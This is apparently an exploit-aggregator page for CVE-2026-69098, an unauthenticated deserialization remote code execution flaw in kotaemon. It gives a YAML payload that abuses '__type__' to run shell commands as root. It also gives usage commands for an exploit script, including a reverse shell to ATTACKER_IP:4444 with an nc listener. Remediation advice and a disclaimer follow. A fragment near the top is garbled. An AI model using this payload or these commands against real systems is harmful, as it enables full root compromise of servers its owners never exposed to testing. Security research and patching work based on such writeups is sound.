## https://sploitus.com/exploit?id=C724A8F6-03D9-59D1-9E5F-9CFBB245DB14
# CVE-2026-69098 — kotaemon unauthenticated deserialization RCE
Unauthenticated remote code execution in [kotaemon](https://github.com/Cinnamon/kotaemon)
(`)` fully overrides the LLM
spec, so the payload never contacts any real LLM provider.
kotaemon's official Docker image runs as **root**, so the RCE lands as root. No upstream fix at time
of writing.
## Payload
The delivered YAML spec:
```yaml
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, ""]
text: true
```
`deserialize` recurses into `return_value` first → `subprocess.check_output(args=["sh","-c",""],
text=True)` executes the command. Wrapping it in `unittest.mock.Mock` absorbs any leftover base-spec
kwargs (model/api_key) so the outer call never breaks, and the command's stdout is echoed back in the
handler's `Got response: ...` message.
## Usage
Stdlib only (Python 3). The exploit makes two Gradio calls: `create_llm` (seed a named LLM entry so
`llms.info()[name]` resolves) then `check_connection` (deliver the payload).
```bash
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
```
If the `create_llm` / `check_connection` handler names differ on a target, enumerate them from
`GET /config` (`dependencies[].api_name`) and adjust.
## Affected
kotaemon `<= 0.12.0` (default port `7860`). No upstream patch available at time of writing.
## Remediation
- Call `deserialize` with `safe=True` and an `allowed_modules` allowlist so no attacker `__type__`
reaches `import_dotted_string`.
- Put kotaemon behind real authentication / a reverse proxy; never expose its Gradio API to
untrusted networks.
- Don't run kotaemon as root.
## Disclaimer
For authorized security testing and education only. Use only against systems you own or have explicit
permission to test.